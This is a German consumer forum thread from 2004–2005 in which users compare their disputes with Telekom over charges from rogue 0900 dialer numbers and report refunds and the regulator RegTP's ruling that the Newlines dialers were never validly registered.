Wenn das die Kundenfreundlichkeit der Telekom ist, sehe ich schwarz für diesen Konzern. Weine Wut ist immernoch da, weniger wegen der Zurückweisung meines Widerspruches, sondern vor allem die Art und Weise wie man mich behandelt. 

Grüße
Werner


----------



## Anonymous (27 August 2004)

@ haudraufundschluss

Klar, die RegTP hat noch nicht endgültig geprüft, das kann man ja auch auf deren HP sehen. Warum das so lange dauert, ist mir nicht klar. Bin allerdings kein Computerspezialist und weiß nicht, welche Tricks die Dialer-Konstrukteure anwenden und wie kompliziert es ist, dies nachzuweisen. 

Mich ärgert vor allem die Antwort der Telekom, d.h. der Niederlassung in meiner Stadt bzw. des Verfassers des Briefes an mich.

Grüße
Werner


----------



## haudraufundschluss (27 August 2004)

Anonymous schrieb:
			
		

> Mich ärgert vor allem die Antwort der Telekom, d.h. der Niederlassung in meiner Stadt bzw. des Verfassers des Briefes an mich.


Dann probiere es doch mit gleicher Münze. Bitte darum, die Zahlung auszusetzen, bis die Regulierungsbehörde abschließend geprüft hat.

EIn  anderer Weg wäre, ausdrücklich unter Vorbehalt zu zahlen und sich die spätere Aufrechnung mit einer anderen Telekomrechnung offen zu halten, sollte dem Dialer die Registrierung entzogen werden. Einfach ist das, wenn die Forderung in der Telekomrechnung unter den Leistungen der Telekom zu finden ist.


----------



## Anonymous (30 August 2004)

ich frage mich, ob man im falle eines falles nicht prozesse anstreben sollte und die leute, die hier vor einigen wochen von irgendwelchen kulanzregelungen der telekomm erzählt haben ausfindig macht, um sie als zeugen laden zu lassen. dann dürfen sie ihre schreiben von der telekomm mitbringen, wo drinnen steht, dass forderungen auf den dialer 0909000057, 58 fallen gelassen werden. und dann werden wir doch mal sehen, ob die telekomm hier pi mal daumen entscheidet. also leute: entweder hat hier jemand fabeln verbreitet, oder die telekomm handelt gesetzeswidrig, wenn sie mal so und mal so mit dem dialerproblem umgeht. genau das sollte jetzt nun endlich mal geklärt werden.  

freundliche grüsse
bimbo


----------



## Reducal (30 August 2004)

bimbo schrieb:
			
		

> ...leute, die hier vor einigen wochen von irgendwelchen kulanzregelungen der telekomm erzählt haben ausfindig macht, um sie als zeugen laden zu lassen...



Aber bimbo?  :roll:


----------



## DJohnny79 (31 August 2004)

*And the Story goes on*

Also bei mir gibt es nicht viel neues von der Dialer-Front zu berichten;

Habe NOCHMAL Widerspruch eingelegt und immerhin schon mal ein Schreiben von den "Männern mit den Mützen" bekommen:

"Sehr geehrter Herr XXX

vielen Dank für Ihr Schreiben vom. _(Ohne Datum, iss ja klasse,dass die sich nich mal die Mühe machen den Posteingang anzugeben)
_ 

Wir bedauern dass Sie Anlass zur Reklamation haben._... Na schön, ich mach sowas immer aus Spaß an der Freude..._


Ihr Anliegen ist zur Zeit in Bearbeitung. Sobald uns ein Ergebnis vorliegt,werden wir Sie umgehend Informieren
_ Na dann lass ich mich doch mal vom Ergebnis Ihrer Untersuchungen überraschen...(Und wenns nicht klappt dann nerv ich euch so lange bis das Ergebnis der Überprüfung meiner Meinung entspricht...*g*)_

Mit freundlichen Grüßen
..."

Naja, immerhin Schreiben die mal prompt zurück und brauchen keine 7 Wochen..*lol*
Mal abwarten was die sich noch so ausdenken...

Je länger ich mir diese Geschichte hier anschaue, desto mehr erinner ich mich an die alte Sendung"Wie Bitte" auf RTL zurück, und es erstaunt mich doch, dass die TK auch nach über 10 Jahren an Ihren Strukturen nicht wirklich viel geändert hat...
Naja... Mal abwarten was sich da noch so entwickelt...
Ich halte euch auf dem laufenden,

Greetz

DJ


----------



## DJohnny79 (31 August 2004)

@Reducal:
1.) Ich weiss nicht was das mit "Missstimmung" o.ä. gegen die RegTP zu tun hat; und dieses Posting war mit Sicherheit NICHT gegen diese Behörde oder einen Ihrer Mitarbeiter gerichtet; 
Ich freue mich wirklich, dass insbesondere die Telekom, bei der ich bisher immer (mindestens) 2 Wochen auf Antwort gewartet habe, sich mal innerhalb kürzester zeit bei mir gemeldet hat, OHNE das sie Geld von mir haben will 

2.) Wenn ich nicht noch den Schimmer einer Hoffnung hätte dass die TK Ihre Forderung noch fallen lässt würde ich diese "Anstrengungen" mit Sicherheit nicht unternehmen sondern "brav"? bezahlen...Damit wollte ich mit Sicherheit keine miese Stimmung oder sonst was verbreiten, tut mir leid, wenn du das in den falschen Hals bekommen hast;

Ich bin der Meinung dass sowohl der 08-15-User als auch die RegTP das Ziel haben(sollten), die Kunden der Telekom oder ähnlicher Dienstleistungsunternehmen vor eben solchen Missbrauchsangriffen wie durch die Betreiber der 0900*** zu schützen, von daher liegt es mir fern,Dich (wenn du dazu gehörst) oder einen der Mitarbeiter der RegTP anzugreifen oder zu verunglimpfen 

Ich denke was diese Missbrauchsache(n) via Dialer angeht sollten User, Behörde und Telekom an einem Strang ziehen; Was ja anscheinend, wenn ich mir die verschiedenen "Ausgänge" der Verfahren nach Schilderungen der Autoren der Postings in diesem Thread noch nicht so ganz zu gelingen scheint, woran das jetzt im Detail liegt lasse ich mal dahingestellt.
Im Klartext, wenn 3 User unterschiedliche Antworten von der Telekom erhalten,ergo der eine zahlen soll und der andere nicht, finde ich persönlich es etwas seltsam und traurig, das die RegTP als zuständige Instanz nicht ein klares Urteil fällt, bzw die Telekom sich dann an diesen Präzedenzfall halten kann(bzw dies tut). Ich bin weder Jurist noch Technikfreak, von daher kann ich jetzt auch nicht im Einzelfall entscheiden, wie sich ein Dialer im Internet verbreitet bzw. welche rechtlichen Konsequenzen das dann im einzelnen hat; Für mich als Laien stellt sich die Situation wie folgt da: Es gibt doch klare Richtlinien wie ein Dialer auszusehen(sich darzustellen) hat, damit er rechtsgültig ist(insbesondere KEINE automatische Einwahl), und eben die 0900.... er Nummern fragen das ja nach den Schilderungen der anderen Postings(meins eingeschlossen) nicht ab, ergo: sind sie nicht rechtsgültig, und die TK bzw. der betreiber/Mieter der Nummer hat keinen Anspruch auf mein Geld(wie gesagt, das ist jetzt nur meine Meinung als Laie) 

Wünsche noch nen schönen Tag

MfG

DJ


----------



## Reducal (31 August 2004)

@ Jonny,

habe das Posting bereits entfernen lassen - bin wohl etwas sensibel gewesen, was die RegTP betraf, hatte wohl den falschen erwischt. Du hattest von "Mützen" geschrieben und da komme ich nur auf eine Behörde und nicht auf ein Unternehmen namens T-Com. Erst später habe ich gesehen, dass es sich nicht um eine Beschwerde sondern um den Widerspruch handelte. Sorry! 

_Nachtrag: ich bin nicht bei der RegTP._


----------



## niegli (31 August 2004)

Hallo da draußen,

nach einigen Tagen (Wochen) Wartezeit hat sich auch in meinem Fall die Telekom gerührt; kurz und knapp:

mit der neuen Abrechnung für den Monat August.

Keine Rede von offenen Forderungen oder einem Dailer, kein Hinweis auf eine Zahlungspflicht meinerseits. Nur der ganz normale Betrag über die geführten Gespräche. Sonst nichts. Keine Stellungnahme, Garnichts.

Mein Einspruch scheint ja irgendwie geholfen zu haben.   

Es ist aber trotzdem eine Frechheit, das die Telekom mit zweierlei Maß mißt (siehe Fall Werner).

Viel Dank an dieser Stelle an das Forum, für alle Tips und die Unterstützung.

Grüße

niegli


----------



## Anonymous (1 September 2004)

Liebe Leute,

vielleicht bin ich bei der Telekom an den Falschen geraten. Aber aufgrund euerer Mitteilungen hier im Forum werde ich nochmals an die Telekom schreiben, dass ich mit der Anwort, die ich bekommen habe, nicht einverstanden bin. Am besten ich beschwere mit an einer höhren Stelle in der Hierarchie des Unternehmens. Sollte hier wirklich mit zweierlei Maß gemessen werden? 

Grüße Werner


----------



## Anonymous (8 September 2004)

*Dialer*

Hallo
Hatte in meiner Juni Rechnung zwei Rufnummern enden mit 957und 958
hab gegen die Rechnung Wiederspruch Eingelegt( war vorher auf der Verbraucherschutzzentrale Kosten dort 5€ )und nur den unstrittigen Betrag der Telekom Überwiesen seit dem ist Funkstille na mal sehen was noch kommt .Ach ja RegTep hab ich auch mehrmals angerufen vieleicht unternehmen die was .
Mfg der Vati


----------



## DJohnny79 (9 September 2004)

*Neuigkeiten*

Hallo Leute,

nachdem jetzt erst mal Funkstille war(für 2 wochen oder so) bekam ich heute ein Schreiben von einer Anwaltskanzlei aus Heidelberg;
Darin wurde mir jetzt mit Zwangsvollstreckung gedroht, obwohl ich bisher keine neue Stellungnahme seitens der Telekom erhalten habe;
Nachdem ich einem mitarbeiter dieser Kanzlei den aktuellen Stand der Dinge geschildert habe, wurde mir zugesichert, dass die Zahlungsfrist erst einmal ausgesetzt sei,
Ich werde jetzt also dieser Kanzlei mal nen netten Brief schreiben, und vorsichtshalber auch nen Anwalt meines vertrauens zu rate ziehen...
 :x  :x  :x  :x  :x  :x 
Ach ja, ein Gespräch mit den netten Leuten von der TK brachte nur als Ergebnis, dass die entsprechende Nummer von der RegTP als seriös eingestuft worden sei und ich daher zu zahlen hätte,
da frag ich mich nur:
Was ist denn jetzt amtlich? Hat die RegTP die Nummer inzwischen ausser Dienst genommen oder nicht? IST Newlines Media jetzt als "seriöse"?!? Firma anzusehen oder nicht?
Bitte um kurze Antwort, langsam wird das hier n bischen heikel,

Gruß

DJ


----------



## TSCoreNinja (9 September 2004)

*Re: Neuigkeiten*



			
				DJohnny79 schrieb:
			
		

> Ich werde jetzt also dieser Kanzlei mal nen netten Brief schreiben, und vorsichtshalber auch nen Anwalt meines vertrauens zu rate ziehen...
> :x  :x  :x  :x  :x  :x
> Ach ja, ein Gespräch mit den netten Leuten von der TK brachte nur als Ergebnis, dass die entsprechende Nummer von der RegTP als seriös eingestuft worden sei und ich daher zu zahlen hätte,


@DJohnny79 

Diese Firma ist nicht serioes. Es wurde ein manipulierter Dialer eingesetzt, daran aendert die Traegheit der Regulierungsbehoerde wenig. Schick der Telekom doch mal das PDF Dokument mit, dass es in dem Thread hier gibt, und weise sie darauf hin, dass sie sich ggfs der Geldwaesche schuldig machen. Das liegt der RegTP vor! Frag doch auch mal bei denen nach, wie der Stand bezueglich dieser Rufnummer ist. Komisch, dass die RegTP nur dann schnell reagiert, wenn die Presse darueber berichtet (Planetopia bei Matlock, Wiso bei Tonis IQ Test, Teleflate von Dialerschutz ausgehend in diversen Zeitungen). Dabei ist die 0900-90000957/58/60 nicht viel anders zu bewerten. 
Gr,
TSCoreNinja


----------



## DJohnny79 (9 September 2004)

*Sorry Leute*

Hallo Leutz, bzw. lieber Admin,

Irgendwie hat mein DSL eben ein wenig gehakt, könntest du also BITTE *liebschau* die Anzahl meiner gleichen beiträge auf 1 heruntersetzen?
Sorry Sorry Sorry, koch nur grad noch n bisschen und grübel über mein Schreiben an die Anwälte der TK,

Ach ja, "Meinem" potentiellen Anwalt ist die Kanzlei aus HD auch bereits bekannt...
Gruß
DJ

(und diesmal hoffentlich nur EIN eintrag :-( )


----------



## DJohnny79 (9 September 2004)

@TSCoreNinja: 
Danke, würde ich ja gernem, aber entweder ich bin zu blöd auf nen Download zu jklicken oder das Ding steht da nur noch als Bild und nicht mehr als Link; Wenn es geht kannst mir nen Externen Link bzw, den PDF zukommen lassen?

Gruß

DJ


EDIT: Hmm Okay ich war zu doof.. hat sich grade erledigt  Thx trotzdem


----------



## Knut (15 September 2004)

Habe heute Post von der RegTP bekommen:

"In Ihrem Schreiben setzen Sie mich davon in Kenntnis, dass das von Ihnen angezeigte Anwählprogramm scheinbar die Mindestanforderungen nach Amtsblattverfügung 54/ 2003 nicht einhält.
Wir werden deshalb Ihrem Hinweis nachgehen und die Angaben überprüfen. Gegebenenfalls werden von uns die erforderlichen Folgemaßnahmen eingeleitet."

Jungejunge, die sind vielleicht auf Zack: Schon nach drei Wochen kommt ein Formschreiben!


----------



## DJohnny79 (24 September 2004)

> Sehr geehrter Herr xxx,
> ....
> Die o.a. Kosten sind durch Verbindungen zu Servicerufnummern(Dialer) verursacht worden, bei denen der Registrierungsverpflichtete die Registrierung bei der Regulierungsbehörde selber zurückgezogen hat.
> 
> ...



Na also, geht doch, man muss also bei denen anscheinend nur hartnäckig genug sein )


VICTORY 

Danke allen die mir hier geholfen haben, ich hoffe sowas kommt in Zukunft nicht mehr vor...

Greetz

DJ


 [/quote]


----------



## Aka-Aka (24 September 2004)

DJohnny79 schrieb:
			
		

> Daher hat sich T-Com entschieden, Ihnen den zur Klärung anstehenden Betrag in Höhe von 102,76 €ohne Anerkennung einer Rechtspflicht zu erstatten.


 Wie gnädig, hat der Betroffene auch brav sein "Schutzgeld" gezahlt?. ... [edit] hat er:
 hier . was den Rest des postings angeht, war ein Nummerndreher... (985 versus 958). Fiel mir nicht gleich auf, da ich den 958-Dialer "sexfiles.exe" mal in meinen "Piraten-/os/-Ordner" gelegt habe, und diesen inzwischen komplett zu Questnet verschoben habe. Sorry, man verliert da manchmal den Überblick...

aus dem sexfiles_58_de-Dialer

```
webl*st.de  [url]www.hacker-spi***.de[/url]    [url]www.pirat**.de[/url]  [url]www.smsfa**.de[/url]  [url]www.kontaktstud****.de[/url]  software.global-net***.de   [url]www.sexst****24.com[/url] [url]www.sexst****24.de[/url]  [url]www.sendm**.org[/url] [url]www.sendm**.net[/url] [url]www.sendm**.de[/url]
```
.

Sorry, Herr M.C., für diesen Dialer sind wohl andere verantwortlich, nicht überall wo "coder" drin steht, ist auch "coder" drauf (oder so)


aka


----------



## Anonymous (27 September 2004)

Leute, Leute,

es gibt noch Zeichen und Wunder. Die Telekom hat sich bewegt!

Ich habe heute ein Schreiben bekommen, in dem u.a. steht:

"Unsere erneuten Nachforschungen haben ergeben, dass zu der von Ihnen reklamierten Rufnummer noch keine Registrierung bei der RegTP zurückgezogen wurde, dennoch werden wir den Betrag von 91,27 € zuzüglich der Ust erstatten. Zur Korrektur haben wir eine entsprechende Gutschrift veranlasst. Wir hoffen, Sie in Zukunft wieder zu unseren zufriedenen Kunden zählen zu dürfen."

      



Damit hatte ich nicht mehr gerechnet. In Gedanken hatte ich mich schon von der Telekom verabschiedet und nach Alternativen gesucht, nachdem ich vor einigen Wochen einen unerfreulichen Brief bekam und ein unverschämtes Telefongespräch mit einem Telekom-Mitarbeiter hatte (siehe mein Eintrag oben). Aber diesmal war eine andere Abteilung in einer anderen Stadt mit meinem Fall beschäftigt.

Nun habe ich durchaus Grund, wieder "zufriedener" Kunde zu sein. Werde meinen Ärger vergessen und hoffen, dass Leute, die nicht wissen was Kundenfreundlichkeit ist, bei der Telekom nichts mehr zu suchen haben.

Danke allen, die sich hier im Forum beteiligt haben, und Ich hoffe, dass bei allen ein gutes Ende mit diesem verflixten Dialer eintreten wird.

Ich hoffe weiterhin, dass es der Telekom und der RegTP bzw. dem Gesetzgeber gelingt, diesen Kriminellen im Internet nachhaltig das Handwerk zu legen.   :evil:    :evil: 

Viele Grüße
Werner


----------



## Anonymous (3 Oktober 2004)

Hallo,
wahrscheinlich wars nur ein mal wieder ein Fehler im System und ich hoffe nicht dass das andere auch hatten, aber bei mir hat die Telekom nach dem Einspruch zwar die Dialerkosten nicht mit der normalen Rechnung abgebucht, dafür aber ein paar Tage später den exakten Betrag des Dialers dann doch abgebucht.
Also schaut lieber einmal mehr auf den Kontoauszug...


----------



## Knut (22 November 2004)

Post von der RegTp (schon vom 12.11.):

"Sehr geehrter Herr Knut,

Die Fa. Newlines AG hat im Rahmen eines Anhörungsverfahrens der Regulierungsbehörde freiwillig die rückwirkende Rücknahme der Registrierungen für ihre Dialer mit den Rufnummern 090090000958 und 090090000957 beantragt. Die Dialer gelten damit als zu keinem Zeitpunkt registriert. Für nicht registrierte Dialer besteht nach Auffassung der Regulierungsbehörde keine Zahlungspflicht."

So, das hätten wir.


----------



## Reducal (22 November 2004)

Knut schrieb:
			
		

> So, das hätten wir.


Will ja nicht vorlaut sein aber das hatten wir > HIER < schon.

Alle, die bereits einen Widerspruch bei der T-Com gestellt hatten, brauchten die Beträge bislang nicht zu zahlen oder bekamen die Gelder wieder erstattet.
Interessant finde ich nun die Frage, was wird aus den Anbietervergütungen, denen nicht widersprochen worden ist? Bei (schätzungsweise) etwa 40.000 Einwahlen eine sicher nicht unberechtigte Frage.


----------



## Reducal (10 Februar 2005)

Womit wir mal wieder bei einem alten aber längst nicht fertigen Thema wären:


			
				Aka-Aka schrieb:
			
		

> Im alten Testdialer der Globallines wiederum steht eine URL (nee, is ne IP, also das Dingens mit Nummern, ach, ihr wisst schon...), die wiederum findet sich auch...
> 
> ...im Dialer "*sexfiles*" mit den Rufnummern
> 090090000957
> ...


  http://forum.computerbetrug.de/viewtopic.php?p=92849#92849 
Da hatten wir es damit zu tun (für diejenigen, denen jetzt der Faden fehlt):


			
				technofreak schrieb:
			
		

> Regtp Anfrage
> 
> 
> 
> ...



Die Jessic** hatte ja vehement (hier im Forum) bestritten, an der Manipulation beteiligt gewesen zu sein - also, wer Eurer Meinung nach könnte hier die Verantwortung für den Missbrauch gehabt haben?

_Ein Erfahrungsaustausch wäre mir sehr wichtig, wenn nicht öffentlich, dann würde ich mich sehr über PN freuen._


----------



## Aka-Aka (10 Februar 2005)

Hmm, vielleicht sollte man sich überlegen, wer von den (wie auch immer) Beteiligten den meisten Dreck am Stecken hat...
Das ist aber gar nicht so einfach...
*bösartigschau*


----------



## Aka-Aka (11 Februar 2005)

Der angeblich unbekannte "geheimnisvolle Dritte" ("Kunde XY") muss doch einen Vertrag mit der Newlines gehabt haben. Wer hat denn den unterzeichnet? Michi B* von der goodlines? ?
(in der verlinkten Meldung von teltarif wird auch der "Fall Questnet" erwähnt, der in diesem Zusammenhang möglicherweise auch... Aber mal sehen, wie die Teilnehmerliste der nächsten Eurowebtainment aussieht, die alte ist gerade nicht verfügbar  )


----------



## Anonymous (20 Juni 2005)

*90090000548 von RegTP abgeschaltet*

RegTP Bescheid vom 09.06.2005 
90090000548 Dialer Abschaltung der Rufnummer zum 16.06.05 

siehe unter: http://dialer.regtp.de/DialerDetails.aspx?rufnr=90090000548&status=6 :lol:


http://dialer.regtp.de/DialerDetails.aspx?rufnr=90090000958&status=3


geburtig.in*fo


----------

